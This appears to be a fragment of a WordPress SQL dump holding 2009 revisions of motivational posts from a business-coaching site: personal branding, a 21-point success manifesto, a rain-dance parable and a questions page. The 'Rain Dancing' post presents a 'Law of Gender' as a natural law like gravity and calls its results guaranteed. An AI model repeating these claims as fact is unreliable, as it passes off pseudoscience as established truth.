brand is your foundation on which your dreams and desires in life are built upon. Give this some thought. I’ll leave you with one question:\r\n\r\n<span style="display: inline;"><strong>“What great work truly matters to you?</strong>\r\nWhen you know the answer, build your brand equity in that direction. As always, I welcome your thoughts… to your continued success.</span>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-revision-5', '', '', '2009-07-08 15:17:56', '2009-07-08 22:17:56', '', 14, 'http://www.whitehotcenter.com/14-revision-5/', 0, 'revision', '', 0),
(466, 2, '2009-07-08 17:33:35', '2009-07-09 00:33:35', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="450" height="286" /></a>\r\n<h2><span style="color: #ff6600;">With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right your brand–you.</span></h2>\r\nBig marketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of customers. For the most part, brand marketing is on-going, in good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers, and grow their enterprise. Brands connect with us on deep emotional levels. The sum total of a customer’s perception and experiences with a product, company or service is called a brand.\r\n\r\n<strong>What’s this have to do with you?</strong>\r\nWell… everything! Whether you know it or not, like a brand, the manner in which you face the world represents something about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to your vibe. Your spouse, family, boss, colleagues, friends and your community at large (we’ll call these customers of your brand) are all experiencing some aspect of what your brand promises to them. In marketing parlance, we call this “brand experience”.\r\n<h2><span style="color: #ff6600;">In these uncertain times, my suggestion is for you to take a good hard look at your brand. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</span></h2>\r\n<strong>A new brand: YOU is up to you.</strong>\r\nJust like any product, YOU are a brand… you have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a brand called YOU, you need to be clear on who you are, what you offer and why what you offer is important to people (customers).\r\n\r\nWhen you are a brand… you will represent something meaningful beyond money making. You will have a solid value system that guides your decisions, you will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand is trusted by people who will sing your praises to others. If you happen to find yourself flying solo without a net, a positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. YOU are a brand. There are three main components to what make up a brand. Like three legs of a stool, they must be in harmonious alignment. Let’s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you–you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity distinguishes you from others and makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value. Value creation is the foundation of a brand’s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create? Do you over promise and under deliver?\r\n\r\nWhen these three components are all in sync you will have created a compelling, consistent and positive set of thoughts and associations in your customer’s minds. When (customers) people in your life think of your brand (you), naturally you want it to be uplifting and inspiring.  In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form a perception in people’s minds–it’s just not positive.\r\n\r\nAnd when customers (people in your life) have positive associations with your brand over time, you will have “brand equity” – the power within you to influence and make things happen in life that you desire. You will “own” the influence to shift demand for your offerings toward you and change things in your life for the better of all concerned.  Your brand is your foundation on which your dreams and desires in life are built upon. Give this some thought. I’ll leave you with one question:\r\n\r\n<span style="display: inline;"><strong>“What great work truly matters to you?</strong>\r\nWhen you know the answer, build your brand equity in that direction. As always, I welcome your thoughts… to your continued success.</span>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-revision-6', '', '', '2009-07-08 17:33:35', '2009-07-09 00:33:35', '', 14, 'http://www.whitehotcenter.com/14-revision-6/', 0, 'revision', '', 0),
(468, 1, '2009-07-06 22:57:18', '2009-07-07 05:57:18', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to declare for you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;"> </span>In my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs and professionals in small start-ups alike.  I''ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires– despite the challenges of their current circumstances.\r\n\r\nSuccessful people are inspired people. They believe everything they "see" in their creative imagination has its counterpart in the physical world! There are no limits to achievement except those that are self-imposed. Let these inspired ideas burn an impression in your remarkable mind:\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, the future is right now!\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 22:57:18', '2009-07-07 05:57:18', '', 136, 'http://www.whitehotcenter.com/136-revision-31/', 0, 'revision', '', 0),
(467, 2, '2009-07-08 15:52:24', '2009-07-08 22:52:24', '<h2><span style="color: #ff6600;">Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, who never failed to make it rain when they would do their rain dance.  Every time, 100%, when they danced, it rained.  The secret to their 100 percent success rate, when other tribes had far less success with the same dance, was simple:  this particular tribe never stopped dancing.</span></h2>\r\nThink about that…they never stopped dancing until it rained! That is faith in it''s most compelling form... Faith strengthened their persistent action and expectation in knowing dancing creates rain. Rain is what they really want… so they danced! Faith is vitally important to every result of being, doing and having.  We live by faith and not by sight. Faith is “knowing that you know” something you desire is going to happen.  It isn''t a hunch, an educated guess, it is knowing with absolute certainty that no matter what it takes, it will happen. Governed, of course, by the Law of Gender.\r\n\r\nThe Law of Gender states that everything in nature has a gestation or an incubation period.  You may have commonly known this principal from the human pregnancy which is 280 days. That is the period of time it takes for the gestation of a Human Being. It’s more or less set. A carrot is 11 weeks; an elephant is 15 months… to each its own time.  Ideas and dreams are also governed by the law of Gender.  Just like the law of gravity, the Law of Gender is always “on”, so it is critically important to gain greater awareness and understanding of how it works.\r\n<h2><span style="color: #ff6600;">Unlike elephants or humans, ideas take their own sweet time. Many people quit dancing for the fulfillment of their ideas before it was time.</span></h2>\r\nThey give up too early and are not aware that the time necessary for manifestation just hadn''t past yet.  Would you ever see a husband come to his pregnant wife and during week 10 of her pregnancy say "Where’s the baby?!?!".  Of course not, that would be ridiculous.\r\n\r\nMany of us, however, do just that with our ideas, dreams and desires. After some period of time has transpired, with no apparent progress, we say "Where is the result?",  or perhaps, “Oh this is impossible, there’s no way it will rain, there isn’t a cloud in the sky, this is a waste of time!  Frequently, the law of gender on an idea, dream or desire is longer than the anticipated time most people are willing to invest in it.  As a result, they quit… and “guarantee” a result. Except it’s not the one they wanted but it is the one they created.\r\n\r\nSo, the story of the dancing tribe of Indians illustrates perfectly how faith and the law of gender will work for you in creating what you want in life. Results are  guaranteed.   The Indian tribe didn''t stop dancing until the rain came, and they were aware, while dancing, that it could take awhile, and that the rains always, eventually come.\r\n\r\n<strong>What are you dancing for and what does your rain look like? Because, once you have what your dancing for firmly implanted with faith and belief in your sub-conscious mind, and you “know” that rain is coming, it will, it must. There are no exceptions this law. Enjoy the dance!</strong>', 'Rain Dancing', 0, 'Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, and how this particular tribe never failed when they would do their rain dance. Every time, 100%, when they danced, it rained....\r\n', 'inherit', 'open', 'open', '', '29-revision-4', '', '', '2009-07-08 15:52:24', '2009-07-08 22:52:24', '', 29, 'http://www.whitehotcenter.com/29-revision-4/', 0, 'revision', '', 0),
(472, 2, '2009-07-09 12:21:37', '2009-07-09 19:21:37', '<h2><span style="color: #ff6600;">Anyone who ever decided to follow a dream that took its form as a business enterprise has searched for answers to their burning questions?  Growth and expansion of a business enterprise constantly involves searching for answers to the questions of how to be more effective on business strategy, product development, sales and marketing, operations, finance.  The solutions to  "how-to mechanics" of business growth are fundamental and necessary to your success. But what about the deeper questions? The more evocative inner questions of "why and for what purpose", who do I serve, or what is most important to me"... these are kinds the big burning questions we ask you here. </span></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></strong></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></strong></h2>\r\n<h2><strong>What does doing great work mean to you?</strong></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></strong></h2>\r\n<span style="color: #333333;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-12', '', '', '2009-07-09 12:21:37', '2009-07-09 19:21:37', '', 179, 'http://www.whitehotcenter.com/179-revision-12/', 0, 'revision', '', 0),
(469, 2, '2009-07-08 15:35:29', '2009-07-08 22:35:29', 'Introduction Content for Big Burning Questions. Please click on a question to leave your answer.\r\n\r\n<a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">This is the First Questions Title</a>\r\n\r\n<a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">This is the Second Questions Title</a>\r\n\r\n<a href="http://whc.fbdev.org/big-burning-questions/the-third-big-burning-question/">This is the Third Questions Title</a>\r\n\r\n<a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">This is the Fourth Questions Title</a>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-9', '', '', '2009-07-08 15:35:29', '2009-07-08 22:35:29', '', 179, 'http://www.whitehotcenter.com/179-revision-9/', 0, 'revision', '', 0),
(473, 2, '2009-07-09 12:49:20', '2009-07-09 19:49:20', '<h2><span style="color: #ff6600;">The business of creating what you want in life requires introspection and answers to the deeper questions – the more evocative inner questions of "why and for what purpose", who do I serve, or what is most important to me"... these are kinds the big burning questions we ask you here. </span></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></strong></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></strong></h2>\r\n<h2><strong>What does doing great work mean to you?</strong></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></strong></h2>\r\n<span style="color: #333333;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-13', '', '', '2009-07-09 12:49:20', '2009-07-09 19:49:20', '', 179, 'http://www.whitehotcenter.com/179-revision-13/', 0, 'revision', '', 0),
(470, 2, '2009-07-09 12:15:23', '2009-07-09 19:15:23', '<h2><span style="color: #ff6600;">Anyone who ever decided to follow a dream that took its form as a business enterprise has searched for answers to their burning questions?  Growth and expansion of a business enterprise constantly involves searching for answers to the questions of how to be more effective on business strategy, product development, sales and marketing, operations, finance.  The solutions to  "how-to mechanics" of business growth are fundamental and necessary to your success. But what about the deeper questions? The more evocative inner questions of "why and for what purpose", who do I serve, or what is most important to me"... these are kinds the big burning questions we ask you here. </span></h2>\r\n<h2><span style="color: #ff6600;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></strong></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></strong></h2>\r\n<h2><strong>Are you doing great work?</strong></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">Who helped you to get here?</a></strong></h2>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-10', '', '', '2009-07-09 12:15:23', '2009-07-09 19:15:23', '', 179, 'http://www.whitehotcenter.com/179-revision-10/', 0, 'revision', '', 0),
(471, 2, '2009-07-09 12:19:38', '2009-07-09 19:19:38', '<h2><span style="color: #ff6600;">Anyone who ever decided to follow a dream that took its form as a business enterprise has searched for answers to their burning questions?  Growth and expansion of a business enterprise constantly involves searching for answers to the questions of how to be more effective on business strategy, product development, sales and marketing, operations, finance.  The solutions to  "how-to mechanics" of business growth are fundamental and necessary to your success. But what about the deeper questions? The more evocative inner questions of "why and for what purpose", who do I serve, or what is most important to me"... these are kinds the big burning questions we ask you here. </span></h2>\r\n<h2><span style="color: #ff6600;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></strong></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></strong></h2>\r\n<h2><strong>What does doing great work mean to you?</strong></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></strong></h2>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-11', '', '', '2009-07-09 12:19:38', '2009-07-09 19:19:38', '', 179, 'http://www.whitehotcenter.com/179-revision-11/', 0, 'revision', '', 0),
(475, 2, '2009-07-09 12:54:43', '2009-07-09 19:54:43', '<h2><span style="color: #ff6600;">The business of creating what you want in your business and in life requires introspection and answers to deeper questions – the more evocative inner questions of "why and for what purpose", who do I serve, or what is most important to me"... these are kinds the big burning questions we ask you here. Select one or all, and leave your answer as a comment.\r\n</span></h2>\r\n<h2><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></h2>\r\n<h2><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></h2>\r\n<h2>What does doing great work mean to you?</h2>\r\n<h2><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></h2>\r\n<span style="color: #333333;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-15', '', '', '2009-07-09 12:54:43', '2009-07-09 19:54:43', '', 179, 'http://www.whitehotcenter.com/179-revision-15/', 0, 'revision', '', 0),
(474, 2, '2009-07-09 12:51:39', '2009-07-09 19:51:39', '<h2><span style="color: #ff6600;">The business of creating what you want in life requires introspection and answers to the deeper questions – the more evocative inner questions of "why and for what purpose", who do I serve, or what is most important to me"... these are kinds the big burning questions we ask you here. Select one or all, and leave your answer as a comment.\r\n</span></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></strong></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></strong></h2>\r\n<h2><strong>What does doing great work mean to you?</strong></h2>\r\n<h2><strong><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></strong></h2>\r\n<span style="color: #333333;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-14', '', '', '2009-07-09 12:51:39', '2009-07-09 19:51:39', '', 179, 'http://www.whitehotcenter.com/179-revision-14/', 0, 'revision', '', 0),
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(480, 2, '2009-07-08 20:57:08', '2009-07-09 03:57:08', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to declare for you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n\r\nSuccessful people are inspired people. They believe everything they "see" in their creative imagination has its counterpart in the physical world! There are no limits to achievement except those that are self-imposed. Let these inspired ideas burn an impression in your remarkable mind:\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, the future is right now!\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-08 20:57:08', '2009-07-09 03:57:08', '', 136, 'http://www.whitehotcenter.com/136-revision-32/', 0, 'revision', '', 0),
